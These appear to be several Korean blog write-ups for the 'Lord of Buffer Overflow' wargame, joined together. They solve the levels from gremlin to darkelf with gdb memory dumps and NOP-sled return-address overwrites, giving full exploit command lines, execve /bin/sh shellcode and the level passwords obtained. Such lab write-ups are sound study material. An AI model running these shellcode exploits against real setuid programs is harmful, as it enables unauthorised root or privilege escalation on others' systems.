0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x42424242
0xbffffc08:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffc18:	0x42424242	0x00000042	0x00000000	0x00000000

\x90 주소 중 0xbffffb88을 이용하겠다.

[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\x88\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
bash$ my-pass
euid = 507
timewalker

argv의 인자로 `python ~~` 명령을 이용하는데 문법이 궁금하다면 내 티스토리의 ftz level11 글을 참고하길 바란다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
728x90

wolfman / love eyuna

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

wolfman 문제 조건에서 argv[1]의 길이가 48 이하인 조건이 추가되었다.

그래서 argv[2]를 사용한다.

darkelf 실행파일을 복사해서 gdb 돌린다.

0x80485e8 <main+232>:	push   %edx
0x80485e9 <main+233>:	lea    %eax,[%ebp-40]  //buffer의 주소 ebp-40
0x80485ec <main+236>:	push   %eax
0x80485ed <main+237>:	call   0x8048440 <strcpy>
0x80485f2 <main+242>:	add    %esp,8

ebp-40에 buffer가 있다. 늘 해왔던 대로 argv[1]을 이용해서 40 bytes(buffer)+4 bytes(sfp)를 "A"로 덮어쓰고 4 bytes(retn 주소)를 argv[2]에 전달하는 \x90들 중 하나의 주소로 설정한다. 그럼 총 48 bytes가 되어 조건을 만족한다.

이어서 argv[2]를 이용해 여러개의 \x90+쉘 코드를 입력하면 문제가 풀릴 것이다. retn 주소를 설정하기 위해 gdb를 실행해서 실제로 전달한 인자와 같은 길이의 인자를 전달하여 주소를 파악한다.

(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485ed in main ()
(gdb) ni

(gdb) x/150x $ebp
0xbffff9e8:	0x41414141	0xbf414141	0x00000000	0xbffffa34
0xbffff9f8:	0xbffffa44	0x40013868	0x00000003	0x08048450
0xbffffa08:	0x00000000	0x08048471	0x08048500	0x00000003
0xbffffa18:	0xbffffa34	0x08048390	0x0804864c	0x4000ae60
0xbffffa28:	0xbffffa2c	0x40013e90	0x00000003	0xbffffb2b
0xbffffa38:	0xbffffb42	0xbffffb73	0x00000000	0xbffffc55
0xbffffa48:	0xbffffc67	0xbffffc7f	0xbffffc9e	0xbffffcc0
0xbffffa58:	0xbffffccd	0xbffffe90	0xbffffeaf	0xbffffecc
0xbffffa68:	0xbffffee1	0xbfffff00	0xbfffff0b	0xbfffff24
0xbffffa78:	0xbfffff34	0xbfffff3c	0xbfffff4d	0xbfffff57
0xbffffa88:	0xbfffff65	0xbfffff76	0xbfffff84	0xbfffff8f
0xbffffa98:	0xbfffffa2	0x00000000	0x00000003	0x08048034
0xbffffaa8:	0x00000004	0x00000020	0x00000005	0x00000006
0xbffffab8:	0x00000006	0x00001000	0x00000007	0x40000000
0xbffffac8:	0x00000008	0x00000000	0x00000009	0x08048450
0xbffffad8:	0x0000000b	0x000001f9	0x0000000c	0x000001f9
0xbffffae8:	0x0000000d	0x000001f9	0x0000000e	0x000001f9
0xbffffaf8:	0x00000010	0x0f8bfbff	0x0000000f	0xbffffb26
0xbffffb08:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffb18:	0x00000000	0x00000000	0x00000000	0x36690000
0xbffffb28:	0x2f003638	0x656d6f68	0x6c6f772f	0x6e616d66
0xbffffb38:	0x7261642f	0x666c656b	0x41410032	0x41414141
0xbffffb48:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb58:	0x41414141	0x41414141	0x41414141	0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffb68:	0x41414141	0x41414141	0x9000bf41	0x90909090
0xbffffb78:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb88:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb98:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc38:	0x42909090	0x42424242

실제 쉘 코드가 위치해야할 주소에 "B"를 대입했다. 0xbffffc3b부터 등장하는 것을 볼 수 있다.

retn 주소 \x90들 주소 중 하나인 0xbffffbc8로 설정한다.

[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "A"*44+"\xc8\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɻÿ¿
bash$ my-pass
euid = 506
kernel crashed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
728x90

orc / cantata

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

egghunter와 buffer hunter가 있다. 각각 환경 변수와 buffer를 0으로 덮어 씌워서 사용 못하게 하는 것이다.

바로 전에 푼 orc 문제와 같은 방식으로 풀면 될 거 같다.

0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>

gdb를 실행하려면 wolfman 실행파일 복사본에 대하여 실행해야 한다. wolfman 실행파일의 소유자와 소유그룹이 wolfman이라 gdb 실행이 안 된다.

strcpy 함수의 인자로 쓰이는 걸로 보아 buffer 주소가 ebp-40임을 알 수 있다.

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 4 bytes(retn)을 스택 아래 내가 전달하는 '\x90'들 중 하나의 주소로 설정한다. 이어서 여러 개의 '\x90'과 쉘 코드를 인자로 전달하면 된다. 그럼 NOP Sled 기법으로 쉘 코드가 실행될 것이다.

참고로 실제로 내가 wolfman에 전달한 인자와 거의 같은 길이의 문자열을 전달해야한다. 안 그럼 스택의 주소값들이 바뀐다. ('\x90'을 190개 전달하니 주소값 바뀜. 199개는 동일)

(gdb) r `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`
Starting program: /home/orc/wolfman2 `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/70x $ebp-44
0xbffff9dc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa0c:	0xbffffac7	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffacc:	0x90909090	0x90909090	0x90909090	0x42424242
0xbffffadc:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffaec:	0x42424242	0x08040042

쉘 코드 대신 "B"*25를 입력하여 주소를 파악했다. 0x4242...가 저장된 부분이 쉘 코드가 저장될 부분이다. 그리고 '\x90' 주소들 중 0xbffffa6c로 retn 주소를 덮어쓸 것이다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 505
love eyuna
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
728x90

goblin / hackers proof

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

environ이란 변수가 등장한다. environment가 환경을 의미하는 단어다. 아래엔 memset으로 environ배열을 0으로 초기화한다. 즉, 환경 변수를 쓸 수 없다. 또 하나의 조건은 argv[1]의 48번째 문자가 '\xbf'이어야 한다.

orc 실행파일을 복사해서 gdb로 실행해 보자.

0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]

strcpy의 인자로 buffer가 전달되기에 ebp-40이 buffer의 주소임을 알 수 있다.

첫 번째 방식

buffer(40 bytes)에 쉘 코드를 삽입하고 해당 주소로 retn하도록 하면 쉘 코드가 실행될 것이다.

쉘 코드는 25 bytes라서 buffer를 이용하면 충분히 bof 공격이 가능하다.

우선 orc를 ORC로 복사해서 gdb를 실행하였다.

argv[1]에는 쉘 코드(25 bytes)+"A"(19 bytes)+임의의 retn 주소를 전달하였다. 이를 통해 쉘 코드의 시작 주소를 알아내었다.

쉘 코드 시작 주소: 0xbffffab0

(gdb) b *main+189
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/30x $ebp-44
0xbffffaac:	0x00000016	0x6850c031	0x68732f2f	0x69622f68
0xbffffabc:	0x50e3896e	0x31e18953	0xcd0bb0d2	0x41414180
0xbffffacc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffadc:	0xbfbfbfbf	0x00000000	0xbffffb24	0xbffffb30
0xbffffaec:	0x40013868	0x00000002	0x08048450	0x00000000
0xbffffafc:	0x08048471	0x08048500	0x00000002	0xbffffb24
0xbffffb0c:	0x08048390	0x0804860c	0x4000ae60	0xbffffb1c
0xbffffb1c:	0x40013e90	0x00000002

ORC를 실행하며 인자로 retn 주소는 0xbffffab0을 주었다.

[goblin@localhost goblin]$ ./ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xb0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAA°
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
Core was generated by `./ORC 1󿿐h//shh/bin⏓󿲒°
                                            ̀AAAAAAAAAAAAAAAAAAA°󽥮
Program terminated with signal 11, Segmentation fault.
#0  0xbffffab0 in ?? ()
(gdb) x/50x $esp -70
0xbffffaaa:	0xfae84010	0x85d3bfff	0x86590804	0xfac00804
0xbffffaba:	0x0017bfff	0xc0310000	0x2f2f6850	0x2f686873
0xbffffaca:	0x896e6962	0x895350e3	0xb0d231e1	0x4180cd0b
0xbffffada:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffaea:	0xfab04141	0x0000bfff	0xfb340000	0xfb40bfff
0xbffffafa:	0x3868bfff	0x00024001	0x84500000	0x00000804
0xbffffb0a:	0x84710000	0x85000804	0x00020804	0xfb340000
0xbffffb1a:	0x8390bfff	0x860c0804	0xae600804	0xfb2c4000
0xbffffb2a:	0x3e90bfff	0x00024001	0xfc2e0000	0xfc34bfff
0xbffffb3a:	0x0000bfff	0xfc650000	0xfc76bfff	0xfc8ebfff
0xbffffb4a:	0xfcadbfff	0xfccfbfff	0xfcdbbfff	0xfe9ebfff
0xbffffb5a:	0xfebdbfff	0xfed9bfff	0xfeeebfff	0xff0cbfff
0xbffffb6a:	0xff17bfff	0xff30bfff

core dumped가 발생했다. core 파일을 gdb로 들여다보았다. 그 결과 쉘 코드 주소가 0xbffffac0으로 바뀌어 있었다.

이제 orc 파일을 실행해 보자. retn 주소는 0xbffffac0으로 설정한다.

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xc0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAzÿ¿
bash$ my-pass
euid = 504
cantata

두 번째 방식

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 retn 주소(4 bytes)를 뒤에 전달할 \x90 주소중 하나로 선택한다. 이어서 '\x90'을 여유 있게 채우고 쉘 코드를 삽입한다. 이렇게 하면 main 함수 프롤로그 과정에서 retn에 의해 \x90 주소 중 하나로 이동하고, \x90은 NOP이기에 CPU는 \x90이 아닌 값이 나올 때까지 건너뛴다. 그러다가 쉘 코드를 만나서 실행하게 되는 것이다. retn 주소로 0xbffffa6c를 선택했다. 참고로 과정은 생략했는데 0xbffffa6c는 gdb 실행을 통해 알아내면 된다.

argv[1]에 전달하는 인자의 길이에 따라 스택의 메모리 주소 값이 달라진다. 이 점을 주의해서 retn 주소를 설정해야 한다. 나는 '\x90'의 개수를 200개로 설정했는데 100개로 한다면 주소값들이 200개일 때와 달라진다.

(gdb) r `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/orc2 `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/100x $ebp-44
0xbffff9cc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9dc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0xbffffa6c	0x90909090	0x90909090	0x90909090
0xbffffa0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090---Type <return> to continue, or q <return> to quit---

0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x6850c031
0xbffffacc:	0x68732f2f	0x69622f68	0x50e3896e	0x31e18953
0xbffffadc:	0xcd0bb0d2	0x08040080	0x0000000b	0x000001f
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 504
cantata​

`python ~~~' 명령어에 대해 궁금하면 내 티스토리의 ftz level11 글을 참고하길 바란다.

orc의 비밀번호: cantata

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

cobolt / hacking exposed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

cobolt에선 argv[1]을 buffer에 복사했는데 이번엔 gets로 입력받는다.

[cobolt@localhost cobolt]$ gdb goblin2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]  // buffer 주소 ebp-16
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret    
0x804841d <main+37>:	nop    
0x804841e <main+38>:	nop    
0x804841f <main+39>:	nop

buffer가 gets 함수 인자로 들어가기에 ebp-16이 buffer의 주소임을 알 수 있다.

먼저 쉘 코드를 환경 변수로 등록한다.

16 bytes의 buffer+sfp (4 bytes)를 덮어쓰고 마지막으로 retn 주소(4 bytes)를 쉘 코드의 주소로 덮어쓴다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\x93\xfe\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAAþÿ¿
my-pass
euid = 503
hackers proof

최종 명령어 형식은 gets로 입력받는 형식이기에 argv[1]을 복사할 때와는 다르다. 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

gremlin / hello bof world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

buffer의 크기가 작아진 것이 gremlin 문제와의 차이점이다.

Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]  //buffer주소 ebp-16
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
0x804846c <main+60>:	push   0x80484dc

strcpy의 인자로 들어가는 것을 보아 ebp-16이 buffer의 주소다.

ebp-16부터 16 bytes가 buffer의 공간이다. 이어서 sfp (4 bytes)가 존재하고 이어서 retn (4 bytes)가 존재한다. retn을 쉘 코드의 주소로 덮어쓸 것이다.

쉘 코드를 환경 변수로 등록하고 아래의 코드를 이용해서 환경 변수의 주소를 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}

cobolt의 인자로 전달하면 끝이다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x90\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 502
hacking exposed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gate -> gremlin  (0) 2023.01.21

+ Recent posts